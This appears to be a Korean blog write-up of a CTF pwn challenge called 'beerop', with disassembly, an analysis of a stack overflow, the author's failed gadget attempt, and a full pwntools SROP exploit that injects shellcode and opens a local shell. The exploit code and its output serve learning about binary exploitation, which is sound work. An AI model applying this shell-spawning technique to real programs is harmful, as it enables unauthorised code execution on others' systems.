1. intro


2. code 및 분석
2.1. code
이 문제는 코드보다 어셈블러 코드로 보는 것이 더 나은 것 같아 불필요한 부분을 삭제하여 그대로 올린다.
┌──(kali㉿kali)-[~/Downloads]
└─$ objdump -D beerop
beerop: file format elf64-x86-64
......
Disassembly of section .text:
0000000000001000 <.text>:
1000: 55 push %rbp
1001: 48 89 e5 mov %rsp,%rbp
1004: 48 8d 05 f5 0f 00 00 lea 0xff5(%rip),%rax # 0x2000
100b: 48 89 45 f8 mov %rax,-0x8(%rbp)
100f: 48 c7 c0 09 00 00 00 mov $0x9,%rax
1016: 48 c7 c7 00 00 00 00 mov $0x0,%rdi
101d: 48 c7 c6 00 10 00 00 mov $0x1000,%rsi
1024: 48 c7 c2 07 00 00 00 mov $0x7,%rdx
102b: 49 c7 c2 22 00 00 00 mov $0x22,%r10
1032: 49 c7 c0 ff ff ff ff mov $0xffffffffffffffff,%r8
1039: 49 c7 c1 00 00 00 00 mov $0x0,%r9
1040: 0f 05 syscall
1042: 48 89 44 24 f0 mov %rax,-0x10(%rsp)
1047: fc cld
1048: 48 8b 74 24 f8 mov -0x8(%rsp),%rsi
104d: 48 8b 7c 24 f0 mov -0x10(%rsp),%rdi
1052: 48 c7 c1 25 00 00 00 mov $0x25,%rcx
1059: f3 a4 rep movsb %ds:(%rsi),%es:(%rdi)
105b: 48 c7 c0 01 00 00 00 mov $0x1,%rax
1062: 48 c7 c7 01 00 00 00 mov $0x1,%rdi
1069: 48 8d 74 24 f0 lea -0x10(%rsp),%rsi
106e: 48 c7 c2 08 00 00 00 mov $0x8,%rdx
1075: 0f 05 syscall
1077: 48 89 e0 mov %rsp,%rax
107a: 48 2d 48 85 00 00 sub $0x8548,%rax
1080: 48 c7 c3 00 12 00 00 mov $0x1200,%rbx
1087: 48 31 ff xor %rdi,%rdi
108a: 48 89 38 mov %rdi,(%rax)
108d: 48 83 c0 08 add $0x8,%rax
1091: 48 ff cb dec %rbx
1094: 75 f4 jne 0x108a
1096: 48 c7 c0 00 00 00 00 mov $0x0,%rax
109d: 48 c7 c7 00 00 00 00 mov $0x0,%rdi
10a4: 48 89 e6 mov %rsp,%rsi
10a7: 48 83 ee 18 sub $0x18,%rsi
10ab: 48 c7 c2 00 10 00 00 mov $0x1000,%rdx
10b2: 0f 05 syscall
10b4: 90 nop
10b5: 5d pop %rbp
10b6: c3 ret
Disassembly of section .rodata:
0000000000002000 <.rodata>:
2000: 4c 89 6c 24 a0 mov %r13,-0x60(%rsp)
2005: 48 8d 74 24 a0 lea -0x60(%rsp),%rsi
200a: c3 ret
200b: 90 nop
200c: 5d pop %rbp
200d: c3 ret
200e: b8 01 00 00 00 mov $0x1,%eax
2013: bf 01 00 00 00 mov $0x1,%edi
2018: ba 08 00 00 00 mov $0x8,%edx
201d: 0f 05 syscall
201f: c3 ret
2020: 5f pop %rdi
2021: c3 ret
2022: 90 nop
2023: 5d pop %rbp
2024: c3 ret
...
......
2.2. 분석
프로그램을 요약하자면, 새로운 메모리 영역을 mmap을 통해 할당한 다음, .rodata 영역의 값들을 새로 할당된 메모리의 위치에 복사해 준다.
이후 0x1000 만큼의 값을 받아들인다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
기본적인 취약점은 overflow다.
쓸 수 있는게 그리 많지가 않아서 그렇지...
.text 영역과 .rodata 영역에 쓰인 어셈블러 코드를 잘 버무려서 sysrop(?)을 할 수 있다.
3.2. 공격 준비
개인적으로 새로 확보된 메모리에 shellcode를 삽입하고 여기로 리턴하려고 시도했었다.
다만 rsi가 제대로 컨트롤 되지 못해 포기했는데,
intend writeup을 보았기에 SROP인 것을 알고 있지만, 제대로 접근하고 있었다는데 조금의 성취감은 있었달까...
내 공격 시나리오는
rax, rdi를 0으로 만들어서 read 함수를 호출하고,
rdx가 8으로 고정되어있었기에 rsi를 옮겨가며 값을 삽입한 뒤,
여기로 return하려 하였다.
문제를 푸는 중간에 힌트로 libc 파일이 주어져서 링킹 후 system 함수 call을 해서 로컬에서 성공하였는데,
이유는 알 수 없지만 로되리안이었다.
새로 할당된 메모리 영역과 libc의 offset이 다른 것은 아닌가 해서 브루트포스 해보았는데 아에 값이 나오지 않았다.
힌트가 잘못 주어진게 아닐까 생각했다.
인텐은
첫 read시 306 bytes를 삽입하고,
삽입된 크기가 rax가 되는 점을 활용해 syncfs 함수를 호출하고,
syncfs 함수의 return 값이 항상 0임을 사용해 rax에 0을 넣고
read 함수를 호출해 15 bytes를 삽입해 다시 rax를 0xf로 만들어 sigreturn 함수를 호출하고
여기서 srop을 했다.
개인적으로 시도한 방법은 아래와 같다.
프로그램이 종료되기 직전 레지스터의 값들은 아래와 같다.
$rax : 0x21
$rbx : 0x0
$rcx : 0x0000558c79d5b0b4 → nop
$rdx : 0x1000
$rsp : 0x00007fffb8811650 → 0x000000000000000a ("\n"?)
$rbp : 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x00007fffb8811630 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n"
$rdi : 0x0
$rip : 0x0000558c79d5b0b6 → ret
$r8 : 0xffffffffffffffff
$r9 : 0x0
$r10 : 0x22
$r11 : 0x306
$r12 : 0x0000558c79d5b000 → push %rbp
$r13 : 0x00007fffb8811650 → 0x000000000000000a ("\n"?)
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
위에서 말한 시나리오와 같이 rax, rdi를 0으로 만들고, rdx의 크기에 따라 값을 나눠서 rsi에 넣으려 했다.
혹시나하여 쓸만한 gadget이 있는지 .rodata 부분을 1 bytes씩 쪼개서 어셈블러 코드를 다시 보았다.
0x00: mov %r13,-0x60(%rsp)
0x01: mov %ebp,-0x60(%rsp)
0x02: insb (%dx),%es:(%rdi)
0x03: and $0xa0,%al
0x04: movabs 0x5d90c3a024748d48,%al
0x05: lea -0x60(%rsp),%rsi
0x06: lea -0x60(%rsp),%esi
0x07: je 0x2d
0x08: and $0xa0,%al
0x09: movabs 0x1b8c35d90c3,%al
0x0a: ret
0x0b: nop
0x0c: pop %rbp
0x0d: ret
0x0e: mov $0x1,%eax
0x0f: add %eax,(%rax)
0x10: add %al,(%rax)
0x11: add %al,(%rax)
0x12: add %bh,0x1(%rdi)
0x13: mov $0x1,%edi
0x14: add %eax,(%rax)
0x15: add %al,(%rax)
0x16: add %al,(%rax)
0x17: add %bh,0x8(%rdx)
0x18: mov $0x8,%edx
0x19: or %al,(%rax)
0x1a: add %al,(%rax)
0x1b: add %al,(%rax)
0x1c: add %cl,(%rdi)
0x1d: syscall
0x1e: add $0x90c35fc3,%eax
0x1f: ret
0x20: pop %rdi
0x21: ret
0x22: nop
0x23: pop %rbp
0x24: ret
여기서 0x8 위치에 and $0xa0, %al 이 있었고, rax가 충분히 작다면 0으로 만들 수 있었다.
그래서
첫 return 시 0x0e 위치로 리턴하여 rax를 1로 만든 다음 write 함수를 call하여 최소화 하였고, (대신 rdx가 8이됨)
0x1f의 return 시 0x8로 리턴하여 0으로 만들었다.
이후 rdi는 pop rdi, ret gadget이 있기에 쉽게 만들 수 있었다.
rsi의 경우 rsp - 0x60 위치만 쓸 수 있다.
이 때 rsp - 0x60은 stack의 어느 한 지점이기에 컨트롤이 불가능하므로 이 방법은 불가하다.
결국 인텐으로 다시 시도해보았다.
4. exploit
from pwn import *
p = process('./beerop')
context.binary = ELF('./beerop')
rcv = u64(p.recv(1024))
print(hex(rcv))
pay = b'A'*32
pay += p64(rcv + 0x1d) #syscall
#첫 syscall은 read 함수로 값을 받은 직후이며, 받은 총 bytes가 곧 rax가 됨.
#즉, 첫 전송되는 pay는 rax를 0x132로 만들기 위함임.
pay += p64(rcv + 0x1d) #syscall
#첫 syscall 이후 다시 rax가 0이 되었기에 read 함수가 호출됨.
#이번 syscall은 다시 한번 read 함수를 실행하며, rax를 0xf로 만들기 위함임.
pay += p64(rcv + 0x1d) #syscall
#이번 syscall은 sigreturn으로 인해 rax가 0으로 초기화되었기에 shellcode 삽입을 위함임.
s = SigreturnFrame()
s.rax = 0
s.rdi = 0
s.rsi = rcv + 0x1f #값을 쓸 위치.
s.rdx = 0x1000
s.rsp = rcv + 0x800
s.rip = rcv + 0x1d #sigreturn이 끝나고 돌아갈 위치.
pay += bytes(s)
pay += b'A' * (306 - 1 - len(pay)) #0x132를 맞추기 위한 패딩
p.sendline(pay)
pause() #sendline이 연속적으로 이루어짐에 따라 값이 안들어갈때가 있어 추가.
pay2 = b'B'*14
p.sendline(pay2)
pause() #sendline이 연속적으로 이루어짐에 따라 값이 안들어갈때가 있어 추가.
pay3 = asm(shellcraft.sh())
p.sendline(pay3)
p.interactive()
┌──(kali㉿kali)-[~/Downloads/bee]
└─$ python a.py
[+] Starting local process './beerop': pid 117096
[!] Did not find any GOT entries
[*] '/home/kali/Downloads/bee/beerop'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
0x7f131132b000
[*] Paused (press any to continue)
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),115(bluetooth),125(scanner),141(wireshark),143(kaboxer),144(vboxsf)
SROP은 조금 더 공부해야겠다.
'CTF > Unsolved' 카테고리의 다른 글
DEFCON 31 - Live CTF - what-a-maze-meant (0) | 2023.05.29 |
---|